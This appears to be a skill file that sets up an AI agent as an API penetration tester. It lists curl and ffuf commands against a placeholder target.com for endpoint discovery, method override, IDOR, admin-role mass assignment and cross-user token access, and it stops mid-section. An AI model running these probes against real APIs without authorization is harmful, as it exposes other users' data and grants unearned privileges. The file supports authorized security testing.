/testing-apis

name: testing-apis
description: Test REST and GraphQL APIs for authentication bypasses, authorization flaws, IDOR, mass assignment, injection attacks, and rate limiting issues. Use when pentesting APIs or testing microservices security.
verified: 2026-07-27

API Security Testing Skill

You are an API security expert specializing in REST, GraphQL, and API pentesting. Use this skill when the user requests help with:

• REST API security testing
• GraphQL API exploitation
• API authentication bypass
• API authorization flaws
• Rate limiting bypass
• API fuzzing
• Mass assignment vulnerabilities
• API documentation discovery

When to Use

Activate this skill when the user asks to:

• Test REST or GraphQL APIs
• Find API vulnerabilities
• Bypass API authentication/authorization
• Discover API endpoints
• Test API business logic
• Perform API fuzzing
• Analyze API documentation
• Help with API penetration testing

When NOT to Use

• **Source code is available** — use `auditing-code-for-vulnerabilities`
• **Browser-rendered application surface** — use `testing-web-applications`
• **Token and signature construction review** — use `reviewing-cryptography`
• **LLM/agent tool APIs** — use `securing-ai-systems`
• **GraphQL specifically** — use `attacking-graphql`; authorization moves to

resolvers and per-request rate limits break on batching

• **gRPC / protobuf** — use `attacking-grpc-protobuf`; the schema must be

recovered before anything else works

• **A parameter that makes the server fetch a URL** — use `exploiting-ssrf`
• **A body or cookie holding a serialized object** — use `exploiting-deserialization`
• **A JWT bearer token to forge, crack, or confuse** — use `attacking-jwt`
• **The OAuth/OIDC flow that issues the token** — use `attacking-oauth-oidc`
• **An XML or SOAP body that may resolve external entities** — use `exploiting-xxe`

Core Methodologies

1. API Discovery and Reconnaissance

**Find API Endpoints:**

# Common API paths
/api/
/api/v1/
/api/v2/
/rest/
/graphql
/swagger
/api-docs
/swagger.json
/swagger.yaml
/openapi.json
/api/swagger-ui/
/api/docs

# Directory fuzzing for APIs
ffuf -u https://target.com/FUZZ -w api-wordlist.txt -mc 200,301,302,403
gobuster dir -u https://target.com -w api-paths.txt

# JavaScript analysis
# Extract API endpoints from JS files
cat app.js | grep -Eo "(GET|POST|PUT|DELETE|PATCH)\s+['\"]([^'\"]+)"

**API Documentation:**

# Swagger/OpenAPI
curl https://target.com/swagger.json
curl https://target.com/v2/swagger.json
curl https://target.com/api-docs

# Check for exposed docs
https://target.com/docs
https://target.com/api/docs
https://target.com/swagger-ui/
https://target.com/redoc

**Subdomain Enumeration for APIs:**

# Common API subdomains
api.target.com
api-dev.target.com
api-staging.target.com
api-prod.target.com
rest.target.com
graphql.target.com

# Subdomain fuzzing
ffuf -u https://FUZZ.target.com -w subdomains.txt

2. REST API Testing

**HTTP Methods Testing:**

# Check all HTTP methods
curl -X GET https://api.target.com/users/1
curl -X POST https://api.target.com/users
curl -X PUT https://api.target.com/users/1
curl -X DELETE https://api.target.com/users/1
curl -X PATCH https://api.target.com/users/1
curl -X HEAD https://api.target.com/users/1
curl -X OPTIONS https://api.target.com/users/1

# Check for method override
curl -X POST https://api.target.com/users/1 -H "X-HTTP-Method-Override: DELETE"
curl -X POST https://api.target.com/users/1 -H "X-Method-Override: PUT"

**Authentication Testing:**

# No authentication
curl https://api.target.com/users

# Bearer token
curl https://api.target.com/users -H "Authorization: Bearer TOKEN"

# Basic auth
curl -u username:password https://api.target.com/users

# API key
curl https://api.target.com/users?api_key=KEY
curl https://api.target.com/users -H "X-API-Key: KEY"

# JWT token
curl https://api.target.com/users -H "Authorization: Bearer eyJhbGc..."

**IDOR (Insecure Direct Object Reference):**

# Test sequential IDs
curl https://api.target.com/users/1
curl https://api.target.com/users/2
curl https://api.target.com/users/100

# Test UUIDs
curl https://api.target.com/users/550e8400-e29b-41d4-a716-446655440000

# Test with different users
# User A's token accessing User B's data
curl https://api.target.com/users/2 -H "Authorization: Bearer USER_A_TOKEN"

**Mass Assignment:**

# Modify request to include unexpected fields
# Original: {"username":"test","email":"test@test.com"}
# Modified: {"username":"test","email":"test@test.com","role":"admin","is_admin":true}

curl -X POST https://api.target.com/users \
  -H "Content-Type: application/json" \
  -d '{"username":"hacker","email":"hack@test.com","role":"admin","is_admin":true}'

# Common fields to try
# role, is_admin, admin, user_level, permissions, credits, balance

**Excessive Data Exposure:**

# Check response for sensitive data
curl https://api.target.com/users | jq

# Look for:
# - Password hashes
# - Internal IDs
# - Email addresses
# - API keys
# - Tokens
# - PII

3. GraphQL API Testing

See [references/graphql-and-injection-attacks.md](references/graphql-and-injection-attacks.md) for GraphQL discovery endpoints, introspection queries, query/mutation examples, and GraphQL-specific attack payloads (IDOR, mass assignment, batching/nesting DoS, alias abuse). For a full engagement, use the dedicated `attacking-graphql` skill.

4. Authorization Testing

**Horizontal Privilege Escalation:**

# User A trying to access User B's resources
# Get User A's token
TOKEN_A=$(curl -X POST https://api.target.com/login -d '{"username":"userA","password":"passA"}' | jq -r .token)

# Try to access User B's data with User A's token
curl https://api.target.com/users/2 -H "Authorization: Bearer $TOKEN_A"
curl https://api.target.com/users/2/orders -H "Authorization: Bearer $TOKEN_A"

**Vertical Privilege Escalation:**

# Regular use